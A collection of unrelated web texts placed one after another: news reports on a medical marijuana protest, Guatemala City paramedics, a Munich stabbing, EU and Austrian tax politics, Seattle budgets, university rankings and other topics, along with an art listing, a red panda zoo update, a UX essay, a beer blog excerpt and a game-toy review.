San Francisco resident Misha Breyburg, who participated in the protest, said he was disappointed in Obama's regression from his campaign promises. "It's important for politicians to stand by their words," he said. "These people out here -- they've worked hard, they've saved their money and they've taken all of the legal steps -- and then to have their property taken away from them? Maybe in North Korea."
California voters approved the use of medical marijuana in 1996 with the passage of Proposition 215, later named the Compassionate Use Act, which allows patients to possess and cultivate cannabis with a doctor's permission. The law has been interpreted many times since its inception. In City of Garden Grove v. Superior Court in 2007, trial court sided with the patient, finding it "is not the job of local police to enforce the federal drug law." A California Supreme Court ruling in 2010 found residents may grow or possess "reasonable amounts" of marijuana with a doctor's blessing.
As a candidate, Obama promised to maintain a hands-off approach toward pot clinics adhering to state law, telling a 2007 town hall in Nashua, N.H., that a Justice Department prosecuting medical marijuana users was "not a good use of our resources." Now Ammiano, a self-described Obama supporter, is asking the president to "exercise some leadership on this issue."
"We have it on tape," Ammiano said of Obama's promise. "Eric Holder early in the campaign said that the Attorney General would not raid medical marijuana dispensaries -- there are around 16 states that have them -- then out of the blue comes this droid missile aimed at medical marijuana and the dispensaries, and there's a lot of untruth...to me this is kind of a 'Reefer Madness' mindset."
The crackdown comes even as 50 percent of Americans favor legalizing marijuana, according to a recently released Gallup poll, up from just 36 percent in 2006.
Authorities estimated nearly 1,000 protesters descended on the W Hotel during the duration of Obama's appearance. In addition to the marijuana enthusiasts, the president was greeted by environmentalists, anti-war activists and a smattering of Occupy Wall Streeters. The most vocal demonstrators opposed the construction of the Keystone pipeline in the Midwest.
Rally signs ran the gamut, from "Yes We Cannabis" and "Obama Changed," to "No Pipeline For The One Percent" and "Bring Our Troops Home." Another group set up a loudspeaker and played clips of promises made during Obama's 2008 campaign speeches that have not yet been met.
The president stopped by San Francisco as part of a West Coast tour promoting his economic and jobs plans as well as his 2012 campaign. Take a look at images and video from the demonstrations below:Photos by Giles Clarke/Getty Images
Earlier this year, I met Dr. Jorge Chiu at a murder scene while I was documenting the Bomberos Voluntarios, the volunteer paramedics of Guatemala City. A man had been shot dead on the street, and a plastic tarp had been placed over the body as blood slowly pooled in the cracks of the pavement.
While we all waited for the cops to arrive and secure the scene, Chiu came over to me and introduced himself. He told me that he was the only fully qualified doctor going to scenes like this with the volunteers, which, given the extreme violence in this city, is a job that most people would expect to get paid for. Chiu, who is obviously not most people, is out here risking his life nightly for nothing.
Chiu attempts to save a gunshot victim's life.
Guatemala City’s metro area is the largest in Central America (population estimates vary widely, but there are somewhere between 2.5 and 4 million people here), and the nation is one of the most violent on Earth. According to the US State Department, in 2012 there were about 100 murders a week in the country of 15 million, and as many as 60 percent of Guatemalans own a gun. Put a heavily armed populace together with a region where gang warfare and drug trafficking are rampant, add a corrupt, incompetent police force and the problems that come along with widespread poverty, and you get a lot of corpses in the streets. Chiu is a very busy man.
The doctor offered me a lift back to the fire station where he was based. As we drove, another call came in, and we rushed to another scene. Thus began my journey into Chiu’s gruesome, adrenaline-fueled world, and for the next ten days I followed him and recorded his harrowing work.
Chiu, a native Guatemalan, went to medical school at Francisco Marroquín University, in Guatemala City, and eventually became a thoracic and cardiovascular surgeon. He did a couple stints at the famed Cleveland Clinic and lived in the US from 2003 to 2007 and from 2011 to 2012, along the way picking up training as a firefighter. Three years ago he returned to his homeland, where he spends his days as the head of the cardiovascular department at the Guatemala military medical center and his nights as the subdirector of the country’s volunteer EMT service, an unpaid position that has him responding to calls and training volunteer medics, many of whom come in with little to no medical experience.
A man being treated for injuries sustained in a motorcycle accident while his mother looks on.
On the evenings I spent with him, we drove around in his battered Land Cruiser, which was rammed to the gills with medical gear, most of it from donors overseas. Chiu’s radios were tuned to frequencies used by paramedics, firefighters, and the police. There was a cacophony of chatter crackling over the lines at all times—there are way too many assaults, accidents, and murders for the government-funded emergency services to take care of, so it falls to volunteers, to pick up the slack.
“Much of our work happens before the police arrive at the scenes,” Chiu told me. The medics get there as early as possible, and much of the time there’s a chance that the violence isn’t over yet. “We just have to pack and run, as the killers are still in the area,” Chiu said.
There are 13 Bomberos Voluntarios teams in the Guatemala City area. Chiu tries to teach them new skills on quiet nights, though there aren’t many of those—he estimates there are 10 to 15 gunshot wounds in the city every weekday, and that’s on top of the fires, car wrecks, and cases of fatal drunkenness they have to deal with. On weekends, there can be as many as 30 shootings a day. He personally responds to 20 to 30 calls in a typical week.
A volunteer medic takes a brief rest on his break.
When I asked about the dangers of the job, Chiu told me about the time two years ago he pulled up to a crime scene on the outskirts of the city.
“It was a mess. There were bodies everywhere,” he recalled. “Dispatch had told me that it had been a multiple shooting, and units from all over town were responding. As I got out of my truck, I heard a loud crack, and the next thing I knew, I had blood pouring down into my boots. I’d been shot. This is the shit we deal with here in Guatemala City!”
For more on Chiu and his teams of medics, check out the next episode of the series VICE Profiles, premiering on VICE.com this summer.
See more of Giles Clarke's work on his website.
Dr. Jorge Chiu tries in vain to save a dying gunshot victim.
Giles Clarke/Getty Images
Volunteer medics inspect a dead body at a murder scene in Guatemala City.
Giles Clarke/Getty Images
A body lies on the pavement in Guatemala City.
Giles Clarke/Getty Images
A man being treated for injuries sustained in a motorcycle accident while his mother looks on.
Giles Clarke/Getty Images
Onlookers gather at a murder scene.
Giles Clarke/Getty Images
Volunteer firefighters battle a blaze in Guatemala City's dump.
Giles Clarke/Getty Images
A rainbow appears while volunteer firefighters tackle a fire in a canyon.
Giles Clarke/Getty Images
A 25-year-old woman lies dead inside a bus after she and her boyfriend, who was driving, were shot by an unknown assailant.
Giles Clarke/Getty Images
Chiu comforts the mother of the 25-year-old who was killed in the bus.
Giles Clarke/Getty Images
A man on a stretcher is rushed to an ambulance.
Giles Clarke/Getty Images
A homeless man being brought to the public hospital by volunteer paramedics.
Giles Clarke/Getty Images
Doctors treat a gunshot victim.
Giles Clarke/Getty Images
A volunteer medic takes a brief rest on his break.
Giles Clarke/Getty ImagesDescription
An impressionist Australian landscape painting of an old gum tree and a girl with her King Charles Spaniel. Eucalyptus trees, also known as gum trees, are a large part of Australian flora and are a shelter for many native Australian animals and birds. The leaves are also eaten by koalas.
Landscape art for the living room, office, bedroom or girls' room decor. I have many similar landscape scenes to browse. Just click on my name (above left) and go to my Landscape Paintings Gallery.
This gum tree painting has been featured in the Fine Art America groups, Five Star Artists, Collectors Gallery and Landscape Art.
Landscape prints are available as stretched canvas prints, acrylic, metal, framed, posters, phone cases, greeting cards, duvet covers, tote bags, beach bags, shower curtains and throw pillows.
If you like my art, I would appreciate it if you would take a moment to share it using the buttons: pin to Pinterest, google+, StumbleUpon, facebook & tweet, also liking & favorite. Thank you!Welcome to our panda periodical; where we will keep you up to date with all the latest news about the progress of our new red panda twins born 16 June 2014.
Progress Report
Since our last update the panda babies have been growing fast and have almost doubled in size!
Red pandas are born with pale fur which darkens to the adults colouring around day 50. This is certainly true of our dynamic duo who are getting darker by the day, developing the distinctive red-brown coat and whitish facial markings of their parents.
They are still being looked after in the nest box but are much more active now, exploring all the nooks and crannies. They are becoming very inquisitive about the world outside and are likely to start venturing out by the end of the month. However, for the time being, mum Mulan is keeping them safely inside.
From time to time, Mulan can be seen moving the babies from one box to another. Red pandas are very clean animals and whilst they are being nursed, mum Mulan actually consumes all the waste products in order to keep the nest tidy.
She will also move the family between nest boxes to ensure the conditions are just right, transporting the twins to a more shady area on hotter days. Some of our visitors have been lucky enough to capture this process on camera. The image below was taken by Liza Weller and shows Mulan carefully carrying one of the cubs between nest box 2 and 3. The babies are getting so big now Mulan will not be able to do this much longer.
The arrival of the new babies has also received a lot of interest and some very generous donations. On 18 July, Suffolk based property management company, Home from Home undertook a 250 mile round trip to donate large quantities of bamboo to the red pandas in time for their tea. Plus students from Verdala International School in Malta raised money and made a generous donation to our red pandas after news of their arrival spread internationally. We would like to extend our thanks to both of them.
Zoo Keeper, Katherine Gibson, Home from Home Stewart Scott and Zoo Keeper Sophie Leadbitter at the red panda enclosure at Drusillas Park
Panda Particulars
Date of Birth: Monday 16 June 2014
Current Location: Nest Box 2
Gender: one male and one female
Current weight: 585g and 532g
Keeper Sound Bite
Zoo Keeper, Katherine Gibson commented: “Both panda cubs are doing very well indeed. They are still being moved around from house to house by mum Mulan, although they are getting bigger and bigger everyday so it's becoming a bit more of a chore for her to carry them.”
“They really have developed their own personalities and are very aware of our keepers' presence. They have started to move around on their own inside the houses and have been seen venturing close to the house entrance recently. I can't wait until they come outside!”
Zoo Keeper - Katherine GibsonWe can do better than a "Scroll arrow"
Huge's research can tell us one thing or two about how some users can skip your content once you break the affordance of scrolling and about the solutions to that problem. Even though the scrorrow had a very successful result, is it really a solution to be tested? Compare the results between "Scroll arrow" and "Short image". They're literally the same. Now compare the "Scroll arrow" with "Control image". I mean it's obvious to me that in the case of the arrow users scrolled cause the page was yelling at them. In other words, it works but it doesn't provide a good experience. If people perceive content bellow the image, they’ll naturally scroll.
Using subtle animation to communicate (not an animated arrow though)
Animating the elements of the page can give great clues about the content below that huge picture. I'm not saying I have the perfect solution for every case, but I'll use animation to brainstorm other ways to handle this.
In the first example, our content pops from the bottom and disappears right after. It's like saying "Hello, I'm here. If you need me, just do your thing:"
If you're using a parallax effect in the main picture, take advantage of it to help give that sneak peek a less subtle effect — also to be consistent with the page's behavior. After all if the picture zooms out when the user scrolls, it should do the same on that page load hint:
In case of multiple blocks, the content can be nicely choreographed:
Don't hide the content, take control of it
Google Fit Android app uses just part of the first card from below the big circular chart to indicate that there’s more content to see. This approach is intuitive and elegant cause it's using no additional elements to talk to the user. It’s just them hanging out on the land of good perception, while leaving a lot of room for that main circle to shine.
This isn't new. In 2006, Jared Spool was already discussing the use of the cut-off look to improve the affordance of scrolling.
On the web you can achieve something like this getting the picture section to fit around 90% of the viewport max-height, with just one line of CSS or some quick JavaScript (if you need to support old browsers).
What about combining it with an animation and setting a lower opacity for the content? That way it can't take much of the user's attention from your beloved main picture:
Let's just be careful about the level of opacity. If it's too low we're doing no good. Oh and let's not forget to set the opacity back to 100% when the user scroll the page or interact with those elements as well :-)MUNICH (Reuters) - A German man suffering from psychiatric problems stabbed four people at a train station near Munich early on Tuesday, killing one man and wounding three more in an attack investigators said did not appear to be politically motivated.
Witnesses said the alleged assailant, a 27-year-old unemployed carpenter, attacked his first victim shouting “Allahu Akbar” (‘God is Greatest’ in Arabic). Some witnesses said they also heard him shout “infidels must die”.
The man received psychiatric treatment just two days ago and has confessed to using drugs, investigators said. He was arrested at the scene and was being questioned.
“From what we know so far, he was a lone criminal... There is no indication that he was part of an Islamist network,” Petra Sandles, vice president of Bavaria’s office of criminal investigations, told reporters.
Investigators said it was unclear why the man, who had spent the night at the railway station, had chosen Grafen, a quiet commuter town about 32 km (20 miles) southeast of the Bavarian capital Munich for the indiscriminate attack.
“So far there are no findings that are relevant for state security,” Bavarian Interior Minister Joachim Herrmann said.
Related Coverage One man dead after stabbing in Munich area: German media
Police said the man was wielding a knife with a 10 cm (4 inch) long blade in the attack at about 5 a.m. (0300 GMT).
One victim, a 50-year-old, died of stab wounds in hospital shortly afterwards. Police said one other man was seriously injured and two others who had been riding bicycles had less serious stab wounds.
State prosecutor spokesman Ken Heidenreich told reporters the suspect, who comes from near the western city of Giessen, had given very confusing statements and he might be referred to a psychiatric institution.
“After questioning, nothing really fits together,” he said.
Investigators said the suspect may have converted to Islam but there was no indication that he had been radicalized.
Germany, which is playing a supporting role in the fight against Islamic State, has not suffered a major attack by Islamist militants on the scale of those that have hit neighboring France and Belgium.
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But with about 260 of the more than 800 home-grown radicals who have joined jihadist groups in Syria and Iraq having since returned to Germany, ministers have warned an attack is possible and security services are on alert.
Some Germans fear militants may also have taken advantage of Europe’s migrant crisis to enter the country. Over the past year Germany has taken in more than one million, mostly Muslim migrants and refugees fleeing wars in Syria and elsewhere.Image copyright Reuters Image caption Every sausage stand pays more tax than Starbucks in Austria, Mr Kern told Der Standard.
Amazon and Starbucks pay less tax in Austria than a local sausage stall, the country's Chancellor Christian Kern has said in a newspaper interview.
"Every Viennese cafe, every sausage stand pays more tax in Austria than a multinational corporation," Mr Kern told Der Standard.
"That goes for Starbucks, Amazon and other companies," he said.
He added that EU countries with low corporate taxes were undermining the structure of the union itself.
"What Ireland, the Netherlands, Luxembourg or Malta are doing here lacks solidarity towards the rest of the European economy," he said.
He praised the European Commission's recent order that Apple should pay 13bn euros (£11bn) more in tax to Ireland.
On Tuesday, the European Commission decided after a long investigation that Apple should pay the 13bn euros in extra tax, plus interest, to the Irish government because a long-standing tax deal with the US tech giant amounted to illegal state aid.
Apple and the Irish government have criticised the decision and the US firm has said it is confident it will be overturned on appeal.
Mr Kern, who heads Austria's Social Democrats and the country's coalition government, also said Facebook and Google had sales of more than 100m euros each in Austria.
"They massively suck up the advertising volume that comes out of the economy but pay neither corporation tax nor advertising duty in Austria," he added.
As well as Apple, the European Commission has launched past or current investigations into the tax arrangements of Fiat, McDonald's, Starbucks and Amazon.SEATTLE - Should Seattle bailout bike share again?
That was one of the topics debated as the Seattle City Council went over line items in the 2017 budget on Wednesday afternoon.
Seattle Mayor Ed Murray's proposed budget calls for spending $4.7 million to "replace the existing bike share system with a larger all-electric pedal-assist system."
But councilmembers Tim Burgess and Lisa Herbold, skeptics of the past bail out, presented provisos that could alter that proposal.
Burgess' proposal read:
"...would proviso all capital and operating bike share funding (including the Commercial Parking Tax, Ride Share Tax Credit, and associated grants), contingent on future Council ordinance. Under current budget legislation, there is an outstanding spending proviso on $3.55 million of Commercial Parking Tax for capital expansion."
Herbold's "would cut the $600,000 for bike share operations in 2017 and in 2018, resulting in the shut-down of the current system in January 2017" and redistribute the money.
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They didn't have support the last time around, but may in this cycle. Councilmember Sally Bagshaw, a long-time bike supporter, admitted she was "ambivalent" about the program now.
Burgess added, "I don't know why we don't shut down the system today. We lose money every month."
It was just one of multiple issues on the table.
Herbold also pitched a plan to pay for the rest of the proposed Lander Street Overpass. The project, long wanted by the maritime and industrial community, is estimated to cost $142.5 million.
The port and city, along with federal and regional partners, have dedicated all but $27.5 million to the project.
Herbold pitched filling the gap with "additional Pacific Place Garage revenues; bonded Commercial Parking Tax (CPT) revenues; reduction in CPT backed bonds for the Center City Streetcar; or some combination of these or other sources."
She acknowledged that the plan was not final. Council President Bruce Harrell asked her on Wednesday whether she had consulted with any plans the executive may have for filling the gap.
There did not seem to be the same opposition to fixing a bridge in South Lake Union Park. A small pedestrian span of the bridge, built in 2007, almost immediately had issues. It was closed indefinitely when engineers discovered problems with the abutments on either side, blaming soft soil.
Mayor Murray's budget calls for spending $4.6 million to repair the bridge.
Evan Blanshan, who works in South Lake Union and walks by it every day, said, "It's kind of an eyesore," but "If you had that in your front door, would you be willing to pay money to fix it?"
The council is not expected to make final decisions on any of these issues until mid-November.
Copyright 2016 KINGThe Massachusetts Institute of Technology in the United States still dominates the annual ranking of 800 schools that help international students pick where to enroll
Published 5:48 PM, September 16, 2014
MANILA, Philippines – The University of the Philippines (UP) and the Ateneo de Manila University (AdMU) ranked higher in the latest QS World University Rankings, a survey that seeks to aid international students in their choice of higher education institutions.
The Massachusetts Institute of Technology (MIT) still ranked the highest, beating more than 800 other universities worldwide in the annual ranking.
In the Philippines, the UP is now ranked 367 from 380 in 2013, while Ateneo rose to 461-470 from last year's 501-550. (READ: UP, AdMU, UST lose ground in world rankings)
De La Salle University fell from 601-650 to 651-700, while the University of Santo Tomas remains at 701+.
Filipino Universities in Top 800 2014 2013 Institution 367 380= University of the Philippines 461-470 501-550 Ateneo de Manila University 651-700 601-650 De La Salle University 701+ 701+ University of Santo Tomas
Global Top 10 2014 2013 Institution Country 1 1 MASSACHUSETTS INSTITUTE OF TECHNOLOGY US 2 3 UNIVERSITY OF CAMBRIDGE GB 2 5 IMPERIAL COLLEGE LONDON GB 4 2 HARVARD UNIVERSITY US 5 6 UNIVERSITY OF OXFORD GB 5 4 UNIVERSITY COLLEGE LONDON GB 7 7 STANFORD UNIVERSITY US 8 10 CALIFORNIA INSTITUTE OF TECHNOLOGY US 9 10 PRINCETON UNIVERSITY
US 10 8 YALE UNIVERSITY US
First compiled in 2004, the QS World University Rankings are published annually by the Quacquarelli Symonds (QS). According to QS website, the rankings "help students make informed comparisons between their international study options."
Individual ranking options are given to the top 400 universities, while the rest are placed in groups. It compares the universities in terms of research, teaching, employability, and international outlook.
In the 2014 QS University Rankings for Asia released last May, only UP and UST improved in ranking.– Rappler.comThe EU commission will on Wednesday (30 May) publish reports and binding recommendations on each member state's economy, as part of its increased budgetary surveillance powers.
Spain, Italy and France - the eurozone's biggest economies after Germany - will grab the most attention.
At the heart of the exercise are hundreds of pages of in-depth analysis on what each country is doing - ranging from budget cuts to fiscal and labour market reforms.
But what it will ultimately boil down to will be a few paragraphs for each one asking it to pursue or correct a this or that policy. A 28th report on the eurozone as a whole is also due to be published, including some recommendations still to be negotiated among the 27 commissioners on Wednesday.
Once adopted by EU leaders in June, all the country-specific and eurozone recommendations will become legally binding.
Twelve of the EU countries - Belgium, Bulgaria, Cyprus, Denmark, Finland, France, Italy, Hungary, Slovenia, Spain, Sweden and the UK - were singled out in February for being at risk of crises due to "macro-economic imbalances," such as property bubbles, public deficits or sluggish exports.
In a first-ever move, the EU commission might now recommend that some of these countries be further scrutinised on the macro-level, which could lead to sanctions further down the road if the country does not stick to its promises.
Germany - which, in theory should also have been reprimanded for economic surpluses that further aggravate the woes of the southern countries - is likely to see "a paragraph" on this on Wednesday, but the clause would likely have "no prominence" in its report, one EU official told this website.
A separate set of recommendations will look at excessive deficit targets in a group of 23 countries - all the EU states except Estonia, Finland, Luxembourg and Sweden.
No recommendations for sanctions are expected in this area, but the commission may recommend to close infringement procedures against some countries and start it against others.
The commission's wording on Spain is highly anticipated as the government struggles with a worse-than-expected recession, a higher deficit for 2011 than initially reported, a troubled banking sector and record-high unemployment.
Madrid hopes to get an extension of its 2013 deadline to bring its deficit from almost nine percent of GDP to three percent.
Italy, whose draft report was leaked to Reuters and the Financial Times, is expected to get praise for the reforms started by technocrat Prime Minister Mario Monti and some criticism for not doing enough against tax evasion.
The most important report for the credibility of the whole exercise - as one EU diplomat put it - will be France.
The newly elected Socialist President made campaign promises such as hiring 60,000 more teachers and lowering the retirement age to 60 - running against what the commission is prescribing to boost France's competitiveness and bring down its deficit from 5.2 percent in 2011 to three percent by next year.
"It is likely that France will be encouraged to continue some of the reforms done by Sarkozy and urged to start some others which were not done," one EU source told journalists in Brussels, highlighting labour market reforms as a must.
On top of the country analyses, the commission will also unveil its views on a report to be drafted by EU council chief Herman Van Rompuy on future steps to a fiscal union.
The paper is to be presented to EU leaders at the June summit and will be drafted with input from the EU commission, the European Central Bank and eurozone finance ministers.
Meanwhile, public support for more scrutiny from Brussels on national budgets is shrinking.
A survey ran by Pew Research Centre in seven EU countries and published Tuesday shows that 75 percent of British and Greek people oppose more EU authority over national budgets.
Only Italy is more favourable, with just 40 percent against. Half of the Poles and French are against heightened budget scrutiny by Brussels, 54 percent of Spaniards and 56 percent of Germans.
The survey also shows broad support for German Chancellor Angela Merkel's leadership among the surveyed countries (80% in Germany) - except for Greece, where only 14 percent gave her good marks.In August 2013 I was invited to take a trip to the Firestone Walker brewery in Paso Robles to attend the annual winemakers blending session that would create the brewery’s seventeenth anniversary beer. The following account of the trip only touches on the amazing experience. I hope you enjoy my telling of how a dozen central coast winemakers and one intrepid beer writer came together to create a beer unlike anything else.
I woke suddenly, dumped from my slumber into a foggy reality cut through by a beam of sunlight cruelly streaming through a gap in the blackout blinds. The stiff white linens reminded me that I wasn’t in my familiar bed in Hollywood. I was in the Paso Robles Courtyard Marriott, and I was hung over.
“At least I earned this,” I thought while standing in the shower, scalding water streaming over my pounding head. “I blame those winemakers…”
There’s an adage among winemakers that “It takes a lot of great beer to make great wine”, but in the case of Firestone Walker Brewery’s annual anniversary beer, it takes a lot of great winemakers.
Each year around harvest time at the vineyards, Brewmaster Matt Brynildson invites a group of central coast winemakers to the Paso Robles brewery to help create to create a blend of barrel aged beers.
Winemakers are adept at creating blends from disparate components, and Brynildson makes some world-class components to work with. The tradition began for the brewery’s 10th anniversary, when their barrel aging program was in its infancy. Today, the brewery has over 1500 spirit barrels filled with a range of brews like Parabola, Sucaba, and Double DBA, as well as beers like Stickee Monkee, Bravo, and Helldorado developed as blending components and are rarely seen outside of the brewery tasting room.
This year the winemakers would be creating Firestone Walker XVII, and the brewery invited me to make the trip up from LA to witness, and participate in, the festive collaboration-turned-competition.
It had seemed straightforward |
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"Of all the symptoms linked to schizophrenia, memory issues may have the greatest impact on quality of life, as they can make it difficult to hold down a job and maintain social relationships," said first author Jared X. Van Snellenberg, PhD, assistant professor of clinical psychology (in psychiatry) at CUMC and research scientist in the division of translational imaging at NYSPI. "Unfortunately, we know very little about the cause of these memory problems and have no way to treat them."
Researchers have long hypothesized that memory problems in schizophrenia stem from disruptions in the brain's dorsolateral prefrontal cortex (DLPFC). This area of the brain plays a key role in working memory--the system for temporarily storing and managing information required to carry out complex cognitive tasks. However, previous studies, which used functional magnetic resonance imaging (fMRI) to compare DLPFC activation in healthy individuals and those with schizophrenia while taking memory tests, have not shown clear differences.
Dr. Van Snellenberg hypothesized that the studies failed to detect a difference because the memory tests did not have enough levels of difficulty. In 2014 he and his colleagues designed a computerized test that includes eight levels of increasingly difficulty in a single working memory task.
In the current study, 45 healthy controls and 51 schizophrenia patients, including 21 who were not taking antipsychotic medications, were given the eight-level memory test while undergoing fMRI imaging. As expected, the healthy controls demonstrated a gradual increase in DLPFC activation, followed by a gradual decrease in activation as the task gets harder. But in both medicated and unmedicated schizophrenia patients, the overall response was significantly weaker, with the weakest response occurring in those who had the most difficulty with the memory task.
The researchers believe this may be the first time a brain signal in DLPFC has been directly linked to working memory performance in patients with schizophrenia.
"Our findings provide evidence that the DLPFC is compromised in patients with schizophrenia," said Dr. Van Snellenberg. "What they don't tell us is why, which is something we ultimately hope to figure out. In the meantime, we now have a specific target for treatment, and a new way to measure whether a treatment is working."fullscreen continue view fullscreen close
Confederate flags that were hung in the windows of an Alphabet City apartment building while being dramatically backlit have now been removed, after the building's management had covered the windows with a tarp on Friday.
The flags, which drew an angry response this week and led to one person throwing rocks at the windows of the East Eighth Street building, had been hanging there for years according to neighbors. There was renewed anger and controversy surrounding the flags in the aftermath of a white supremacist rally in Charlottesville, during which counter-protester Heather Heyer was killed by a white supremacist.
Neighbors also said that the man who lived in the apartment displayed Iron Cross flags for years, and only replaced them with Confederate flags once Donald Trump was elected in November 2016. In addition to the Iron Cross and Confederate flags, the apartment resident also hung Israeli flags in his windows.
"The flags have been there for years, at least ten years, and nobody’s ever said shit about them," Kevin, a resident of the nearby Jacob Riis Houses, told Gothamist. "What really pissed me off is that he had the lights behind it—so he wanted people to see them. When he put the lights behind it he was saying, fuck you, there it is."
The windows, on top floor of the building at 403 East Eighth Street, were covered with a tarp on Friday afternoon. When the tarp came down, the flags had disappeared, per a witness who tweeted a picture of the building.
"I noticed the flags at some point in July, many people in the neighborhood noticed them, but they came to seem much more offensive and threatening after Charlottesville," second-floor resident Jeanie May told Gothamist. May said that the building manager knocked on her door this week and told her that they were going to cover the windows with a tarp.
At least one anonymous neighbor was upset to see the tarp hung over the windows, telling Gothamist that he thought it was "silencing of speech."
"I just thought the person had complex nationalist views, and I liked it actually; once you start banning symbols, you’re banning language," the man told us.
Paul Bakija, the guitarist for the punk band Reagan Youth, lives across the street from the building, and told Gothamist that the tarp was "better than looking at a bright, lit-up Confederate flag."
Bakija told us that he could remember seeing the Iron Cross flags in the window as far back as 2005, when he first moved to his building across the street from the flags.He also said he could see and hear when the man would "open the window and yell at people downstairs. He'd yell some racially mean words, and then go back into his apartment and close the window."
Additional reporting by Jake Offenhartz and Scott HeinsNewly disclosed records show Suffolk district attorney employees have received $3.25 million in bonuses since 2012 — $550,000 more than reported previously — as county lawmakers prepare for a hearing Tuesday on a bill to tighten legislative control over how proceeds from seized criminal assets are spent.
Bonus recipients included deputy chief homicide prosecutor Robert Biancavilla, who received a total of $108,886 between 2012 and 2017, and division chief Edward Heilig and top public corruption prosecutor Christopher McPartland, who each received $73,000, according to records obtained from county Comptroller John Kennedy’s office through the Freedom of Information Law.
Federal prosecutors have charged McPartland and former District Attorney Thomas Spota with attempting to cover up former county Police Chief of Department James Burke’s assault of a suspect who broke into his car. Spota and McPartland have pleaded not guilty.
The bonuses, which were funded from assets seized in criminal cases by the district attorney’s office, did not receive legislative approval. The original figure of $2.7 million came from documents provided by County Executive Steve Bellone’s office, which only included bonuses for top management employees.
On Tuesday, the legislature will hold a public hearing on a bill by Legis. Robert Calarco (D-Patchogue) to require asset forfeiture expenditures, including by the district attorney’s office and the police, sheriff’s and probation departments, to be approved by the Public Safety Committee.
Calarco called it inappropriate to spend asset forfeiture money on bonuses, particularly without a legislative vote.
“Asset forfeiture money that comes into this county counts into the millions of dollars,” Calarco said. “That’s a lot of money to be spent at the sole discretion of an individual with no oversight.”
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Biancavilla said he received the payments, which he called stipends, because he was on-call on nights and weekends as a homicide prosecutor and was serving as an acting deputy bureau chief, although his Civil Service title was lower.
He also said the comptroller’s numbers were inflated. “It certainly wasn’t $109,000 since 2012. I wish it was,” Biancavilla said.
Biancavilla said he “had no idea” money for the stipend was coming from asset forfeiture funds, “nor would we have reason to know where it was coming from.”
District attorney’s office bureau chief John Scott Prudenti got a total of $72,500 in bonuses since 2012, comptroller’s records show. Bellone has criticized Prudenti for renting out his partyboat to defense attorneys with cases before the district attorney’s office.
The district attorney’s office said the rentals stopped in 2010, and that there was nothing inappropriate about them.
Prudenti’s attorney, David Besso, of Bay Shore, said Prudenti “has given 30 years of his life to Suffolk County, prosecuting people who violate the law. He’s as good a public servant as you can find.”
Robert Clifford, spokesman for the Suffolk district attorney’s office, declined to comment on Calarco’s legislation.
Clifford would not say whether additional bonuses will be paid in 2017.
The U.S. attorney’s office has issued a subpoena to Kennedy’s office for information about bonuses, according to a county source with knowledge of the subpoena.Being a founder of a single-person startup you become an orchestra-man, combining all the jobs and functions which normally are distributed through the team members. Here are the tools which will help you to handle with hundreds of tasks.
How many of you have faced situation, when you start a startup, but don't have budget to hire employees and don’t have committed team to work for your company development? In this case startup founder has to become an orchestra-man, combining all the jobs and functions which normally are distributed through the team members. How to handle with it, when you have to deal with hundreds of everyday tasks on your own? Being inspired by the latest discussion of this kind on inbound, I decided to study this question and explore what tools could be useful for automatization of variety of tasks in a single-person startup. Let’s have a look on the possible solutions which can help you the increase productivity...Twitter has finally publicly acknowledged that it submitted an S-1 filing to the Securities and Exchange Commission—the company’s first officially acknowledged step toward its widely anticipated initial public offering, or IPO.
The announcement came over Twitter itself on Thursday afternoon.
We’ve confidentially submitted an S-1 to the SEC for a planned IPO. This Tweet does not constitute an offer of any securities for sale. — Twitter (@twitter) September 12, 2013
The company’s public SEC record does not yet reflect the new filing, but as the filing is confidential, it may not appear.
Last week, Fox Business generated quite a buzz when it based an entire article on the fact that a Twitter spokesperson responded with an ellipsis (…) in response to a question about possible IPO rumors.
For at least several months, many articles across the tech and financial world have long speculated that a Twitter IPO would come sometime in 2014. One recent industry analysis put Twitter’s estimated revenue for 2013 at over $1 billion.
The Sunday Times recently reported that the company could be worth up to $15 billion.
As Inc. reported in May 2013, Twitter hired Cynthia Gaylor earlier this year, a former investment banker at Morgan Stanley.
On her own LinkedIn page, Gaylor says she has advised "clients across a broad array of strategic financing activities including IPOs, follow-on offerings, equity linked, private placement, and debt security transactions." Gaylor's biography also says she has "advised on transactions for Workday, ServiceNow, Palo Alto Networks, Facebook, Infoblox, Splunk, Zynga, Jive, Netflix, and Linkedin" and has "advised clients on over 150 transactions representing over $100 billion in transaction value."I had a chance to go hands-on with the toys from the first Playset expansion for Disney Infinity. Here's our close-up assessment of Lightning McQueen, Holley Shiftwell, Francesco Bernoulli and Mater in Disney Infinity style.
With all the Skylanders Swap Force news, I'd not kept such a close eye on Disney Infinity of late. Catching up, the first thing to report is that the release date has now changed to August 18th in the US. The official word on the change from Disney is "We have moved the launch date for Disney Infinity to August 18th (23rd in UK) to capitalize on the critical fall retail season."
While this certainly nudges the game into the more lucrative year-end period, it also pits it alongside Skylanders Swap Force that will likely be making a retail release soon after. It is not inconceivable that Activision could bring their release date forwards so that we really do have a head-to-head battle between to two toy-powered games.
The other big news is that another Playset has been announced. Disney Infinity Cars joins Monsters University, The Incredibles and Pirates of the Caribbean as both adventures in the game and franchises in the Toy Box mode. I was keen to see both the game-play for the new Playset as well as the toy cars themselves.
At a recent visit to Disney in London I had a chance to go hands and view the trailers for the characters that will be included in the new Playset. The Cars toys again take on a slightly more stylized form in Disney Infinity, this much I had expected. What was more of a surprise was that they were quite a bit bigger and weightier that the other Disney Infinity characters I've held.
Partly because of the nature of a car having more weight and volume that a figure and partly by design, these toy cars feel good to hold. The only down side is that you naturally want to whiz them around the carpet, only here you can't do that because of the Near Field Communication tech requiring them to sit on a static base. It made me wonder about versions of these toys with detachable bases or perhaps with the electronics buried in the toy itself – I'm sure we will see that before too long.
Here's what I made of Lightning McQueen, Holley Shiftwell, Francesco Bernoulli and of course fan-favorite Mater the four cars currently announced for the new Playset.
As you can see the Playset offers quite a bit of content, both in terms of physical play and in the game. It was particularly interesting to see how this works as this will set the tone for other Playsets that are likely to be released in the future.
The Cars Playset that comes with Lightening and Holley retails for around $34.99 on Amazon, with Mater and Francesco Bernoulli available separately. There has been no mention of whether there will also be related Power discs included in the Playset pack to complement the new Cars adventure and Toy Box play.
Disney Infinity will be available on 18th August for $74.99 on Amazon. Addition figures and cars are available for $12.99, and upgrade Power Discs for $4.99.MARRAKESH, Morocco — Diplomats from around the world converged here this week with the plan to put details on last year’s Paris climate accord and move the globe closer to controlling the industrial emissions that are heating the planet.
